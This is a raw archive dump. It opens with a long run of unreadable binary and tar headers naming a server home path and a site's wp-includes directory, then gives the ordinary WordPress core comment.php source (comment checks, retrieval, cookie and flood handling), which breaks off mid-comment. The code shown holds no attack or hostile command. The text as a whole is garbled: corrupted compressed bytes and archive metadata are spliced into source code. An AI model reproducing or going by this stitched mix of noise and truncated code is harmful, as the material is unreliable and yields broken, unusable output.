���������k���IESP�o��ߞB����9"W��D	%YBh쓀$��H�䖦�.B&�E^ȦV���B�%W�$�𘟥4�t^H�$!_�4�8@�'a(֒"%
4�_�⠈�J�|â"-��J�Y@A^A�b�K���|�P�.y+R�*Z�2[؋�Fs0r��>��k4z=r*�"��>�y�<��< -��<f~�4O��.N�/��
�j�����>��6��?A�$)K�c��XyY�¯$fj-����g�4_��, �"�B�0A�Td���$��ȵ��K�Ѹv�$ �PT�_\�!�!#kBR�bQ�0�V&�FdA1�"�ؘ��ʚ�l�d��;ͭ?�I]����N�Q�<�"�
�
B�%U���\��(T�9�[��h	���ڢ�K��i�R�z����Z��#�*S*�K��-�jUHٵM_�l�Ph�]<V���]���59�Vق��lRsY��ծ7p!Dh
L�EȽ���]1�,�B��İ~o�4sžZp�M��z�Z�[�S�"���HcC�y:��3@W��`�1����͞��.ڮ�fon�06�!M�ZI��1��o�Ь+�$��@uI^��*��Q��-Ϯ����Y�d2�!4/Χ���=�\j�%�lZ�&/V̻�	��'����O&Sw2��O^�җX�~Q�����ټ��A�"���1����#=d��*�i@��F-���	0���9�J����Q&��vVp���<��b~������3E������ȷɧO5w�M���J��giK�e"��`��;;�|sv���r>�p1��(aYD�@�ؗUk�`�ǿ��|TG�=�8[��[�C��Z�A��O�}Y�g�Bɾb�px��f�L#�3�BO���y����l�^]N0�6�\�ԏx�*��@�/]�jB���s����Q��{��&�~8�5s$�
9��r1�@����GOˤ`0����H��1�.b�[.D������r"��0l���J3F��1��g�ƺ�T����j7�[o��:�R���p
Zך��Vu�To�~��!l���7�Ǥ	�V#K�}���?�M���a�A\�Վ�>�/FXI��ޣ)�	-n���.�]C��j0�!j�w����:�r%���}�ߔ��@n6�HY�p/2K��fI����y��"�'�ag^6c�s�������1��~���u��'Xg�S$���o=n׉�VXC���
V����d�#.V��Gc�h�$%�v�b���?��b^F��:Q�쥕�ۍ�.8.���](`�jc}J7��^UO�g����`)��D�������$	8�4P�וkf��9�`��U�5uK��mi���W%Ð]�h�&��ܮ=�:ff>�h�B��L���pk½#KJOP�n��������],̣�w�y��ΓJ��]&�Ơ��)Pi�k���(	r��)I;;��y��Ⱦp��%Ȕ�5���O��sw��ݹ;{�o��f714338/categories.php.php.tar.gz000064400000003216151024420100012045 0ustar00��Xmo9���W����V-H�I�x�Q��U�����;IL����D�������&m*��^t�R�Ğ�Ǟg�����S�b�E#3�	hH-��,l9���<�K��$φ�E_�D�)��ʓs;L��Yn$�A1/���w��(�'��������F8�w��d���i�
��Nt�O����c�Wg��a�=do�\��[�3�S0��O�����Z���(�T�"93`�s��"�,�;��7d��f��YB�ش�3`��`��x�d0b/�8S�%A�u�r�@�J��b&�p�'�v��1�8L	-�FdL#GW8g�Y�w�7�[NZJ֑?T"��y�H!��(�c�B[�)2�`�-��FB"��W];zC��9.O�)i�05y�旚eœ�ŀ0-uB����!��K�^{�;�^vj|��['B\N&��)���N��Q3�Ӊ�N|�u�-py��_W\|���#�&5afU(�NŐ���c<aS�,��#L2��P�_�� +ܺ;�/_U�䈔��`�qc7�"��ּ�J��͆Os�{I�Xn�T[ް� ,��d#���R�䴂�	�K�	��#�|��h�x�����b|��=��C��EJ�l�U�V�����_틊�d�2�ܹy�Y��ѩ�dg?f�"YI�hu�BwE�b�q]��E���´t.�*�O%��>����-)�J^���:�@'c�R7�����m�p����>�5$���U	�<D����y��oAA�P<��Zp�8e��Z�{e������d*ԛ����PH�Y�lbt߀����C$$�*c�ٕӣ9��O��k�|3-T��e��-X^`&m;d��٥E��,�9��T^���];9
8%�o�&�Z�5`���f��W�	�P��	a��	��6��GC�>��׵GC1	�&d���7[�絺���6)�E��P���*ݤ�"ͤ��
��D����Bs
`Xe��]�A*ѧZ01u`H����"�
�1+̸L���Q|�w|4>��=*ZQtVJ�.w<o�k����aj����*Ð��.C7��
�s��lH�S�@��R�9��@Լ�J��LT�Tmȇ�z�Ҫ�Q���p黅W�~�߉?5y��UN�lC%0��\bO�k����w�%E�K��_�x37	��p��ɒ�~;��<�a1�iT 5v�Ņ��Iĕë�x�=���,�.�|�2�kB�o�:�N+��2ח{Ug��|fӭSv��Q@����}�iY��ȰӞjuA�d�[��ih�G���&���Pg�&��Y��t�lho�w��&�0cN^ԝ�k��F!�ϑq3�)��@h�n�����h��q��r��I':
�S��Nz��x�.�Y�'e�e��K���I����
�}!����<?eǓ���Fp�…]W�BV6�/��a9��'�0e����1��6Y�'A;��"�5t�Q=6��5}���[�����X<�۳�	�I?��T�I��s߯mS,�tׁO�:A���D��M�	�\M���u�����2�7F?"�5��:o`��W�6��~R��d|��S�g<'|���'o8�7{�q��$���>>�>z�ŷ=��vU@D��PM������; N�ۿ�?����l14338/comment.php.tar000064400000404000151024420100010151 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/comment.php000064400000400733151024204710023532 0ustar00<?php
/**
 * Core Comment API
 *
 * @package WordPress
 * @subpackage Comment
 */

/**
 * Checks whether a comment passes internal checks to be allowed to add.
 *
 * If manual comment moderation is set in the administration, then all checks,
 * regardless of their type and substance, will fail and the function will
 * return false.
 *
 * If the number of links exceeds the amount in the administration, then the
 * check fails. If any of the parameter contents contain any disallowed words,
 * then the check fails.
 *
 * If the comment author was approved before, then the comment is automatically
 * approved.
 *
 * If all checks pass, the function will return true.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $author       Comment author name.
 * @param string $email        Comment author email.
 * @param string $url          Comment author URL.
 * @param string $comment      Content of the comment.
 * @param string $user_ip      Comment author IP address.
 * @param string $user_agent   Comment author User-Agent.
 * @param string $comment_type Comment type, either user-submitted comment,
 *                             trackback, or pingback.
 * @return bool If all checks pass, true, otherwise false.
 */
function check_comment( $author, $email, $url, $comment, $user_ip, $user_agent, $comment_type ) {
	global $wpdb;

	// If manual moderation is enabled, skip all checks and return false.
	if ( '1' === get_option( 'comment_moderation' ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/comment-template.php */
	$comment = apply_filters( 'comment_text', $comment, null, array() );

	// Check for the number of external links if a max allowed number is set.
	$max_links = get_option( 'comment_max_links' );
	if ( $max_links ) {
		$num_links = preg_match_all( '/<a [^>]*href/i', $comment, $out );

		/**
		 * Filters the number of links found in a comment.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 Added the `$comment` parameter.
		 *
		 * @param int    $num_links The number of links found.
		 * @param string $url       Comment author's URL. Included in allowed links total.
		 * @param string $comment   Content of the comment.
		 */
		$num_links = apply_filters( 'comment_max_links_url', $num_links, $url, $comment );

		/*
		 * If the number of links in the comment exceeds the allowed amount,
		 * fail the check by returning false.
		 */
		if ( $num_links >= $max_links ) {
			return false;
		}
	}

	$mod_keys = trim( get_option( 'moderation_keys' ) );

	// If moderation 'keys' (keywords) are set, process them.
	if ( ! empty( $mod_keys ) ) {
		$words = explode( "\n", $mod_keys );

		foreach ( (array) $words as $word ) {
			$word = trim( $word );

			// Skip empty lines.
			if ( empty( $word ) ) {
				continue;
			}

			/*
			 * Do some escaping magic so that '#' (number of) characters in the spam
			 * words don't break things:
			 */
			$word = preg_quote( $word, '#' );

			/*
			 * Check the comment fields for moderation keywords. If any are found,
			 * fail the check for the given field by returning false.
			 */
			$pattern = "#$word#iu";
			if ( preg_match( $pattern, $author ) ) {
				return false;
			}
			if ( preg_match( $pattern, $email ) ) {
				return false;
			}
			if ( preg_match( $pattern, $url ) ) {
				return false;
			}
			if ( preg_match( $pattern, $comment ) ) {
				return false;
			}
			if ( preg_match( $pattern, $user_ip ) ) {
				return false;
			}
			if ( preg_match( $pattern, $user_agent ) ) {
				return false;
			}
		}
	}

	/*
	 * Check if the option to approve comments by previously-approved authors is enabled.
	 *
	 * If it is enabled, check whether the comment author has a previously-approved comment,
	 * as well as whether there are any moderation keywords (if set) present in the author
	 * email address. If both checks pass, return true. Otherwise, return false.
	 */
	if ( '1' === get_option( 'comment_previously_approved' ) ) {
		if ( 'trackback' !== $comment_type && 'pingback' !== $comment_type && '' !== $author && '' !== $email ) {
			$comment_user = get_user_by( 'email', wp_unslash( $email ) );
			if ( ! empty( $comment_user->ID ) ) {
				$ok_to_comment = $wpdb->get_var(
					$wpdb->prepare(
						"SELECT comment_approved
						FROM $wpdb->comments
						WHERE user_id = %d
						AND comment_approved = '1'
						LIMIT 1",
						$comment_user->ID
					)
				);
			} else {
				// expected_slashed ($author, $email)
				$ok_to_comment = $wpdb->get_var(
					$wpdb->prepare(
						"SELECT comment_approved
						FROM $wpdb->comments
						WHERE comment_author = %s
						AND comment_author_email = %s
						AND comment_approved = '1'
						LIMIT 1",
						$author,
						$email
					)
				);
			}

			if ( '1' === $ok_to_comment && ( empty( $mod_keys ) || ! str_contains( $email, $mod_keys ) ) ) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	}
	return true;
}

/**
 * Retrieves the approved comments for a post.
 *
 * @since 2.0.0
 * @since 4.1.0 Refactored to leverage WP_Comment_Query over a direct query.
 *
 * @param int   $post_id The ID of the post.
 * @param array $args    {
 *     Optional. See WP_Comment_Query::__construct() for information on accepted arguments.
 *
 *     @type int    $status  Comment status to limit results by. Defaults to approved comments.
 *     @type int    $post_id Limit results to those affiliated with a given post ID.
 *     @type string $order   How to order retrieved comments. Default 'ASC'.
 * }
 * @return WP_Comment[]|int[]|int The approved comments, or number of comments if `$count`
 *                                argument is true.
 */
function get_approved_comments( $post_id, $args = array() ) {
	if ( ! $post_id ) {
		return array();
	}

	$defaults    = array(
		'status'  => 1,
		'post_id' => $post_id,
		'order'   => 'ASC',
	);
	$parsed_args = wp_parse_args( $args, $defaults );

	$query = new WP_Comment_Query();
	return $query->query( $parsed_args );
}

/**
 * Retrieves comment data given a comment ID or comment object.
 *
 * If an object is passed then the comment data will be cached and then returned
 * after being passed through a filter. If the comment is empty, then the global
 * comment variable will be used, if it is set.
 *
 * @since 2.0.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment|string|int $comment Comment to retrieve.
 * @param string                $output  Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                       correspond to a WP_Comment object, an associative array, or a numeric array,
 *                                       respectively. Default OBJECT.
 * @return WP_Comment|array|null Depends on $output value.
 */
function get_comment( $comment = null, $output = OBJECT ) {
	if ( empty( $comment ) && isset( $GLOBALS['comment'] ) ) {
		$comment = $GLOBALS['comment'];
	}

	if ( $comment instanceof WP_Comment ) {
		$_comment = $comment;
	} elseif ( is_object( $comment ) ) {
		$_comment = new WP_Comment( $comment );
	} else {
		$_comment = WP_Comment::get_instance( $comment );
	}

	if ( ! $_comment ) {
		return null;
	}

	/**
	 * Fires after a comment is retrieved.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Comment $_comment Comment data.
	 */
	$_comment = apply_filters( 'get_comment', $_comment );

	if ( OBJECT === $output ) {
		return $_comment;
	} elseif ( ARRAY_A === $output ) {
		return $_comment->to_array();
	} elseif ( ARRAY_N === $output ) {
		return array_values( $_comment->to_array() );
	}
	return $_comment;
}

/**
 * Retrieves a list of comments.
 *
 * The comment list can be for the blog as a whole or for an individual post.
 *
 * @since 2.7.0
 *
 * @param string|array $args Optional. Array or string of arguments. See WP_Comment_Query::__construct()
 *                           for information on accepted arguments. Default empty string.
 * @return WP_Comment[]|int[]|int List of comments or number of found comments if `$count` argument is true.
 */
function get_comments( $args = '' ) {
	$query = new WP_Comment_Query();
	return $query->query( $args );
}

/**
 * Retrieves all of the WordPress supported comment statuses.
 *
 * Comments have a limited set of valid status values, this provides the comment
 * status values and descriptions.
 *
 * @since 2.7.0
 *
 * @return string[] List of comment status labels keyed by status.
 */
function get_comment_statuses() {
	$status = array(
		'hold'    => __( 'Unapproved' ),
		'approve' => _x( 'Approved', 'comment status' ),
		'spam'    => _x( 'Spam', 'comment status' ),
		'trash'   => _x( 'Trash', 'comment status' ),
	);

	return $status;
}

/**
 * Gets the default comment status for a post type.
 *
 * @since 4.3.0
 *
 * @param string $post_type    Optional. Post type. Default 'post'.
 * @param string $comment_type Optional. Comment type. Default 'comment'.
 * @return string Either 'open' or 'closed'.
 */
function get_default_comment_status( $post_type = 'post', $comment_type = 'comment' ) {
	switch ( $comment_type ) {
		case 'pingback':
		case 'trackback':
			$supports = 'trackbacks';
			$option   = 'ping';
			break;
		default:
			$supports = 'comments';
			$option   = 'comment';
			break;
	}

	// Set the status.
	if ( 'page' === $post_type ) {
		$status = 'closed';
	} elseif ( post_type_supports( $post_type, $supports ) ) {
		$status = get_option( "default_{$option}_status" );
	} else {
		$status = 'closed';
	}

	/**
	 * Filters the default comment status for the given post type.
	 *
	 * @since 4.3.0
	 *
	 * @param string $status       Default status for the given post type,
	 *                             either 'open' or 'closed'.
	 * @param string $post_type    Post type. Default is `post`.
	 * @param string $comment_type Type of comment. Default is `comment`.
	 */
	return apply_filters( 'get_default_comment_status', $status, $post_type, $comment_type );
}

/**
 * Retrieves the date the last comment was modified.
 *
 * @since 1.5.0
 * @since 4.7.0 Replaced caching the modified date in a local static variable
 *              with the Object Cache API.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', or 'server' locations.
 * @return string|false Last comment modified date on success, false on failure.
 */
function get_lastcommentmodified( $timezone = 'server' ) {
	global $wpdb;

	$timezone = strtolower( $timezone );
	$key      = "lastcommentmodified:$timezone";

	$comment_modified_date = wp_cache_get( $key, 'timeinfo' );
	if ( false !== $comment_modified_date ) {
		return $comment_modified_date;
	}

	switch ( $timezone ) {
		case 'gmt':
			$comment_modified_date = $wpdb->get_var( "SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
			break;
		case 'blog':
			$comment_modified_date = $wpdb->get_var( "SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
			break;
		case 'server':
			$add_seconds_server = gmdate( 'Z' );

			$comment_modified_date = $wpdb->get_var( $wpdb->prepare( "SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server ) );
			break;
	}

	if ( $comment_modified_date ) {
		wp_cache_set( $key, $comment_modified_date, 'timeinfo' );

		return $comment_modified_date;
	}

	return false;
}

/**
 * Retrieves the total comment counts for the whole site or a single post.
 *
 * @since 2.0.0
 *
 * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that
 *                     comment counts for the whole site will be retrieved.
 * @return int[] {
 *     The number of comments keyed by their status.
 *
 *     @type int $approved            The number of approved comments.
 *     @type int $awaiting_moderation The number of comments awaiting moderation (a.k.a. pending).
 *     @type int $spam                The number of spam comments.
 *     @type int $trash               The number of trashed comments.
 *     @type int $post-trashed        The number of comments for posts that are in the trash.
 *     @type int $total_comments      The total number of non-trashed comments, including spam.
 *     @type int $all                 The total number of pending or approved comments.
 * }
 */
function get_comment_count( $post_id = 0 ) {
	$post_id = (int) $post_id;

	$comment_count = array(
		'approved'            => 0,
		'awaiting_moderation' => 0,
		'spam'                => 0,
		'trash'               => 0,
		'post-trashed'        => 0,
		'total_comments'      => 0,
		'all'                 => 0,
	);

	$args = array(
		'count'                     => true,
		'update_comment_meta_cache' => false,
		'orderby'                   => 'none',
	);
	if ( $post_id > 0 ) {
		$args['post_id'] = $post_id;
	}
	$mapping       = array(
		'approved'            => 'approve',
		'awaiting_moderation' => 'hold',
		'spam'                => 'spam',
		'trash'               => 'trash',
		'post-trashed'        => 'post-trashed',
	);
	$comment_count = array();
	foreach ( $mapping as $key => $value ) {
		$comment_count[ $key ] = get_comments( array_merge( $args, array( 'status' => $value ) ) );
	}

	$comment_count['all']            = $comment_count['approved'] + $comment_count['awaiting_moderation'];
	$comment_count['total_comments'] = $comment_count['all'] + $comment_count['spam'];

	return array_map( 'intval', $comment_count );
}

//
// Comment meta functions.
//

/**
 * Adds meta data field to a comment.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/add_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Arrays and objects are stored as serialized data and
 *                           will be returned as the same type when retrieved. Other data types will
 *                           be stored as strings in the database:
 *                           - false is stored and retrieved as an empty string ('')
 *                           - true is stored and retrieved as '1'
 *                           - numbers (both integer and float) are stored and retrieved as strings
 *                           Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_comment_meta( $comment_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'comment', $comment_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a comment.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/delete_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty string.
 * @return bool True on success, false on failure.
 */
function delete_comment_meta( $comment_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'comment', $comment_id, $meta_key, $meta_value );
}

/**
 * Retrieves comment meta field for a comment.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/get_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $key        Optional. The meta key to retrieve. By default,
 *                           returns data for all keys. Default empty string.
 * @param bool   $single     Optional. Whether to return a single value.
 *                           This parameter has no effect if `$key` is not specified.
 *                           Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$comment_id` (non-numeric, zero, or negative value).
 *               An empty array if a valid but non-existing comment ID is passed and `$single` is false.
 *               An empty string if a valid but non-existing comment ID is passed and `$single` is true.
 *               Note: Non-serialized values are returned as strings:
 *               - false values are returned as empty strings ('')
 *               - true values are returned as '1'
 *               - numbers are returned as strings
 *               Arrays and objects retain their original type.
 */
function get_comment_meta( $comment_id, $key = '', $single = false ) {
	return get_metadata( 'comment', $comment_id, $key, $single );
}

/**
 * Queue comment meta for lazy-loading.
 *
 * @since 6.3.0
 *
 * @param array $comment_ids List of comment IDs.
 */
function wp_lazyload_comment_meta( array $comment_ids ) {
	if ( empty( $comment_ids ) ) {
		return;
	}
	$lazyloader = wp_metadata_lazyloader();
	$lazyloader->queue_objects( 'comment', $comment_ids );
}

/**
 * Updates comment meta field based on comment ID.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and comment ID.
 *
 * If the meta field for the comment does not exist, it will be added.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/update_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty string.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_comment_meta( $comment_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'comment', $comment_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Sets the cookies used to store an unauthenticated commentator's identity. Typically used
 * to recall previous comments by this commentator that are still held in moderation.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author's user object. The user may not exist.
 * @param bool       $cookies_consent Optional. Comment author's consent to store cookies. Default true.
 */
function wp_set_comment_cookies( $comment, $user, $cookies_consent = true ) {
	// If the user already exists, or the user opted out of cookies, don't set cookies.
	if ( $user->exists() ) {
		return;
	}

	if ( false === $cookies_consent ) {
		// Remove any existing cookies.
		$past = time() - YEAR_IN_SECONDS;
		setcookie( 'comment_author_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( 'comment_author_email_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( 'comment_author_url_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );

		return;
	}

	/**
	 * Filters the lifetime of the comment cookie in seconds.
	 *
	 * @since 2.8.0
	 * @since 6.6.0 The default $seconds value changed from 30000000 to YEAR_IN_SECONDS.
	 *
	 * @param int $seconds Comment cookie lifetime. Default YEAR_IN_SECONDS.
	 */
	$comment_cookie_lifetime = time() + apply_filters( 'comment_cookie_lifetime', YEAR_IN_SECONDS );

	$secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );

	setcookie( 'comment_author_' . COOKIEHASH, $comment->comment_author, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_url_' . COOKIEHASH, esc_url( $comment->comment_author_url ), $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
}

/**
 * Sanitizes the cookies sent to the user already.
 *
 * Will only do anything if the cookies have already been created for the user.
 * Mostly used after cookies had been sent to use elsewhere.
 *
 * @since 2.0.4
 */
function sanitize_comment_cookies() {
	if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's name cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's name string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_cookie The comment author name cookie.
		 */
		$comment_author = apply_filters( 'pre_comment_author_name', $_COOKIE[ 'comment_author_' . COOKIEHASH ] );
		$comment_author = wp_unslash( $comment_author );
		$comment_author = esc_attr( $comment_author );

		$_COOKIE[ 'comment_author_' . COOKIEHASH ] = $comment_author;
	}

	if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's email cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's email string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_email_cookie The comment author email cookie.
		 */
		$comment_author_email = apply_filters( 'pre_comment_author_email', $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] );
		$comment_author_email = wp_unslash( $comment_author_email );
		$comment_author_email = esc_attr( $comment_author_email );

		$_COOKIE[ 'comment_author_email_' . COOKIEHASH ] = $comment_author_email;
	}

	if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's URL cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's URL string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_url_cookie The comment author URL cookie.
		 */
		$comment_author_url = apply_filters( 'pre_comment_author_url', $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] );
		$comment_author_url = wp_unslash( $comment_author_url );

		$_COOKIE[ 'comment_author_url_' . COOKIEHASH ] = $comment_author_url;
	}
}

/**
 * Validates whether this comment is allowed to be made.
 *
 * @since 2.0.0
 * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function
 *              to return a WP_Error object instead of dying.
 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata Contains information on the comment.
 * @param bool  $wp_error    When true, a disallowed comment will result in the function
 *                           returning a WP_Error object, rather than executing wp_die().
 *                           Default false.
 * @return int|string|WP_Error Allowed comments return the approval status (0|1|'spam'|'trash').
 *                             If `$wp_error` is true, disallowed comments return a WP_Error.
 */
function wp_allow_comment( $commentdata, $wp_error = false ) {
	global $wpdb;

	/*
	 * Simple duplicate check.
	 * expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content)
	 */
	$dupe = $wpdb->prepare(
		"SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = %s AND comment_approved != 'trash' AND ( comment_author = %s ",
		wp_unslash( $commentdata['comment_post_ID'] ),
		wp_unslash( $commentdata['comment_parent'] ),
		wp_unslash( $commentdata['comment_author'] )
	);
	if ( $commentdata['comment_author_email'] ) {
		$dupe .= $wpdb->prepare(
			'AND comment_author_email = %s ',
			wp_unslash( $commentdata['comment_author_email'] )
		);
	}
	$dupe .= $wpdb->prepare(
		') AND comment_content = %s LIMIT 1',
		wp_unslash( $commentdata['comment_content'] )
	);

	$dupe_id = $wpdb->get_var( $dupe );

	/**
	 * Filters the ID, if any, of the duplicate comment found when creating a new comment.
	 *
	 * Return an empty value from this filter to allow what WP considers a duplicate comment.
	 *
	 * @since 4.4.0
	 *
	 * @param int   $dupe_id     ID of the comment identified as a duplicate.
	 * @param array $commentdata Data for the comment being created.
	 */
	$dupe_id = apply_filters( 'duplicate_comment_id', $dupe_id, $commentdata );

	if ( $dupe_id ) {
		/**
		 * Fires immediately after a duplicate comment is detected.
		 *
		 * @since 3.0.0
		 *
		 * @param array $commentdata Comment data.
		 */
		do_action( 'comment_duplicate_trigger', $commentdata );

		/**
		 * Filters duplicate comment error message.
		 *
		 * @since 5.2.0
		 *
		 * @param string $comment_duplicate_message Duplicate comment error message.
		 */
		$comment_duplicate_message = apply_filters( 'comment_duplicate_message', __( 'Duplicate comment detected; it looks as though you&#8217;ve already said that!' ) );

		if ( $wp_error ) {
			return new WP_Error( 'comment_duplicate', $comment_duplicate_message, 409 );
		} else {
			if ( wp_doing_ajax() ) {
				die( $comment_duplicate_message );
			}

			wp_die( $comment_duplicate_message, 409 );
		}
	}

	/**
	 * Fires immediately before a comment is marked approved.
	 *
	 * Allows checking for comment flooding.
	 *
	 * @since 2.3.0
	 * @since 4.7.0 The `$avoid_die` parameter was added.
	 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
	 *
	 * @param string $comment_author_ip    Comment author's IP address.
	 * @param string $comment_author_email Comment author's email.
	 * @param string $comment_date_gmt     GMT date the comment was posted.
	 * @param bool   $wp_error             Whether to return a WP_Error object instead of executing
	 *                                     wp_die() or die() if a comment flood is occurring.
	 */
	do_action(
		'check_comment_flood',
		$commentdata['comment_author_IP'],
		$commentdata['comment_author_email'],
		$commentdata['comment_date_gmt'],
		$wp_error
	);

	/**
	 * Filters whether a comment is part of a comment flood.
	 *
	 * The default check is wp_check_comment_flood(). See check_comment_flood_db().
	 *
	 * @since 4.7.0
	 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
	 *
	 * @param bool   $is_flood             Is a comment flooding occurring? Default false.
	 * @param string $comment_author_ip    Comment author's IP address.
	 * @param string $comment_author_email Comment author's email.
	 * @param string $comment_date_gmt     GMT date the comment was posted.
	 * @param bool   $wp_error             Whether to return a WP_Error object instead of executing
	 *                                     wp_die() or die() if a comment flood is occurring.
	 */
	$is_flood = apply_filters(
		'wp_is_comment_flood',
		false,
		$commentdata['comment_author_IP'],
		$commentdata['comment_author_email'],
		$commentdata['comment_date_gmt'],
		$wp_error
	);

	if ( $is_flood ) {
		/** This filter is documented in wp-includes/comment-template.php */
		$comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) );

		return new WP_Error( 'comment_flood', $comment_flood_message, 429 );
	}

	return wp_check_comment_data( $commentdata );
}

/**
 * Hooks WP's native database-based comment-flood check.
 *
 * This wrapper maintains backward compatibility with plugins that expect to
 * be able to unhook the legacy check_comment_flood_db() function from
 * 'check_comment_flood' using remove_action().
 *
 * @since 2.3.0
 * @since 4.7.0 Converted to be an add_filter() wrapper.
 */
function check_comment_flood_db() {
	add_filter( 'wp_is_comment_flood', 'wp_check_comment_flood', 10, 5 );
}

/**
 * Checks whether comment flooding is occurring.
 *
 * Won't run, if current user can manage options, so to not block
 * administrators.
 *
 * @since 4.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool   $is_flood  Is a comment flooding occurring?
 * @param string $ip        Comment author's IP address.
 * @param string $email     Comment author's email address.
 * @param string $date      MySQL time string.
 * @param bool   $avoid_die When true, a disallowed comment will result in the function
 *                          returning without executing wp_die() or die(). Default false.
 * @return bool Whether comment flooding is occurring.
 */
function wp_check_comment_flood( $is_flood, $ip, $email, $date, $avoid_die = false ) {
	global $wpdb;

	// Another callback has declared a flood. Trust it.
	if ( true === $is_flood ) {
		return $is_flood;
	}

	// Don't throttle admins or moderators.
	if ( current_user_can( 'manage_options' ) || current_user_can( 'moderate_comments' ) ) {
		return false;
	}

	$hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS );

	if ( is_user_logged_in() ) {
		$user         = get_current_user_id();
		$check_column = '`user_id`';
	} else {
		$user         = $ip;
		$check_column = '`comment_author_IP`';
	}

	$sql = $wpdb->prepare(
		"SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( $check_column = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1",
		$hour_ago,
		$user,
		$email
	);

	$lasttime = $wpdb->get_var( $sql );

	if ( $lasttime ) {
		$time_lastcomment = mysql2date( 'U', $lasttime, false );
		$time_newcomment  = mysql2date( 'U', $date, false );

		/**
		 * Filters the comment flood status.
		 *
		 * @since 2.1.0
		 *
		 * @param bool $bool             Whether a comment flood is occurring. Default false.
